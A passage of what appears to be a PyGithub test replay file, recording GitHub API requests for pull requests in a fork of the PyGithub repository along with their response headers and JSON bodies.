ithub.com/repos/MarcoFalke/PyGithub/merges","archive_url":"https://api.github.com/repos/MarcoFalke/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MarcoFalke/PyGithub/downloads","issues_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/MarcoFalke/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/MarcoFalke/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MarcoFalke/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/MarcoFalke/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/deployments","created_at":"2018-05-22T13:46:45Z","updated_at":"2018-05-22T15:12:23Z","pushed_at":"2018-05-22T15:12:21Z","git_url":"git://github.com/MarcoFalke/PyGithub.git","ssh_url":"git@github.com:MarcoFalke/PyGithub.git","clone_url":"https://github.com/MarcoFalke/PyGithub.git","svn_url":"https://github.com/MarcoFalke/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11095,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"base":{"label":"MarcoFalke:master","ref":"master","sha":"286272aaf1230cb9553a0ac57211492fec1d8e4c","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"repo":{"id":134421800,"name":"PyGithub","full_name":"MarcoFalke/PyGithub","owner":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/MarcoFalke/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/MarcoFalke/PyGithub","forks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/forks","keys_url":"https://api.github.com/repos/MarcoFalke/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MarcoFalke/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MarcoFalke/PyGithub/teams","hooks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/events","assignees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/MarcoFalke/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/tags","blobs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/MarcoFalke/PyGithub/languages","stargazers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscription","commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/MarcoFalke/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MarcoFalke/PyGithub/merges","archive_url":"https://api.github.com/repos/MarcoFalke/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MarcoFalke/PyGithub/downloads","issues_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/MarcoFalke/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/MarcoFalke/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MarcoFalke/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/MarcoFalke/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/deployments","created_at":"2018-05-22T13:46:45Z","updated_at":"2018-05-22T15:12:23Z","pushed_at":"2018-05-22T15:12:21Z","git_url":"git://github.com/MarcoFalke/PyGithub.git","ssh_url":"git@github.com:MarcoFalke/PyGithub.git","clone_url":"https://github.com/MarcoFalke/PyGithub.git","svn_url":"https://github.com/MarcoFalke/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11095,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/1"},"html":{"href":"https://github.com/MarcoFalke/PyGithub/pull/1"},"issue":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/1"},"comments":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/1/comments"},"review_comments":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/1/comments"},"review_comment":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/1/commits"},"statuses":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/2665a0d499fe7d472096a12139b2b7a6613b8a6d"}},"author_association":"OWNER","merged":false,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":2,"deletions":0,"changed_files":1} https GET api.github.com None /repos/MarcoFalke/PyGithub/pulls/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '15879'), ('x-runtime-rack', '0.136280'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"aa9376914f934a50eb507530beb35a27"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '58'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'B044:0792:42D2953:899C1FA:5B043D49'), ('last-modified', 'Tue, 22 May 2018 14:53:13 GMT'), ('date', 'Tue, 22 May 2018 15:54:49 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '60'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1527008089')] {"url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/2","id":189691197,"html_url":"https://github.com/MarcoFalke/PyGithub/pull/2","diff_url":"https://github.com/MarcoFalke/PyGithub/pull/2.diff","patch_url":"https://github.com/MarcoFalke/PyGithub/pull/2.patch","issue_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/2","number":2,"state":"closed","locked":false,"title":"Include target_commitish in GitRelease","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"body":"","created_at":"2018-05-22T14:52:27Z","updated_at":"2018-05-22T14:53:13Z","closed_at":"2018-05-22T14:53:13Z","merged_at":"2018-05-22T14:53:13Z","merge_commit_sha":"ba5bf2d76a75fb8b2118726d4ea708ffe6133a8b","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/2/commits","review_comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/2/comments","review_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/2/comments","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/ba5bf2d76a75fb8b2118726d4ea708ffe6133a8b","head":{"label":"MarcoFalke:Mf1805-pull_merged","ref":"Mf1805-pull_merged","sha":"ba5bf2d76a75fb8b2118726d4ea708ffe6133a8b","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"repo":{"id":134421800,"name":"PyGithub","full_name":"MarcoFalke/PyGithub","owner":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/MarcoFalke/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/MarcoFalke/PyGithub","forks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/forks","keys_url":"https://api.github.com/repos/MarcoFalke/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MarcoFalke/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MarcoFalke/PyGithub/teams","hooks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/events","assignees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/MarcoFalke/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/tags","blobs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/MarcoFalke/PyGithub/languages","stargazers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscription","commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/MarcoFalke/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MarcoFalke/PyGithub/merges","archive_url":"https://api.github.com/repos/MarcoFalke/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MarcoFalke/PyGithub/downloads","issues_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/MarcoFalke/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/MarcoFalke/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MarcoFalke/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/MarcoFalke/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/deployments","created_at":"2018-05-22T13:46:45Z","updated_at":"2018-05-22T15:12:23Z","pushed_at":"2018-05-22T15:12:21Z","git_url":"git://github.com/MarcoFalke/PyGithub.git","ssh_url":"git@github.com:MarcoFalke/PyGithub.git","clone_url":"https://github.com/MarcoFalke/PyGithub.git","svn_url":"https://github.com/MarcoFalke/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11095,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"base":{"label":"MarcoFalke:master","ref":"master","sha":"286272aaf1230cb9553a0ac57211492fec1d8e4c","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"repo":{"id":134421800,"name":"PyGithub","full_name":"MarcoFalke/PyGithub","owner":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/MarcoFalke/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/MarcoFalke/PyGithub","forks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/forks","keys_url":"https://api.github.com/repos/MarcoFalke/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MarcoFalke/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MarcoFalke/PyGithub/teams","hooks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/events","assignees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/MarcoFalke/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/tags","blobs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/MarcoFalke/PyGithub/languages","stargazers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscription","commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/MarcoFalke/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MarcoFalke/PyGithub/merges","archive_url":"https://api.github.com/repos/MarcoFalke/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MarcoFalke/PyGithub/downloads","issues_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/MarcoFalke/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/MarcoFalke/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MarcoFalke/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/MarcoFalke/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/deployments","created_at":"2018-05-22T13:46:45Z","updated_at":"2018-05-22T15:12:23Z","pushed_at":"2018-05-22T15:12:21Z","git_url":"git://github.com/MarcoFalke/PyGithub.git","ssh_url":"git@github.com:MarcoFalke/PyGithub.git","clone_url":"https://github.com/MarcoFalke/PyGithub.git","svn_url":"https://github.com/MarcoFalke/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11095,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/2"},"html":{"href":"https://github.com/MarcoFalke/PyGithub/pull/2"},"issue":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/2"},"comments":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/2/comments"},"review_comments":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/2/comments"},"review_comment":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/2/commits"},"statuses":{"href":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/ba5bf2d76a75fb8b2118726d4ea708ffe6133a8b"}},"author_association":"OWNER","merged":true,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":12,"deletions":0,"changed_files":2} https GET api.github.com None /repos/MarcoFalke/PyGithub/pulls/3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '14921'), ('x-runtime-rack', '0.183635'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"f2566a3e84d387805d9d445dc12e8102"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '57'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'B046:0792:42D2979:899C237:5B043D4A'), ('last-modified', 'Tue, 22 May 2018 15:09:33 GMT'), ('date', 'Tue, 22 May 2018 15:54:50 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '60'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1527008089')] {"url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/3","id":189692197,"html_url":"https://github.com/MarcoFalke/PyGithub/pull/3","diff_url":"https://github.com/MarcoFalke/PyGithub/pull/3.diff","patch_url":"https://github.com/MarcoFalke/PyGithub/pull/3.patch","issue_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/3","number":3,"state":"open","locked":false,"title":"open pull request","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"body":"","created_at":"2018-05-22T14:55:13Z","updated_at":"2018-05-22T15:09:33Z","closed_at":null,"merged_at":null,"merge_commit_sha":"f27dd56d91459526c925d5b4bcb4cc5e4d9f4ca0","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/3/commits","review_comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/3/comments","review_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/3/comments","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/6ec2cb2a231084fbc500b81205a334e354016f01","head":{"label":"MarcoFalke:Mf1805-pull_open","ref":"Mf1805-pull_open","sha":"6ec2cb2a231084fbc500b81205a334e354016f01","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"repo":{"id":134421800,"name":"PyGithub","full_name":"MarcoFalke/PyGithub","owner":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/MarcoFalke/PyGithub","description":"Typed interactions with the GitHub API 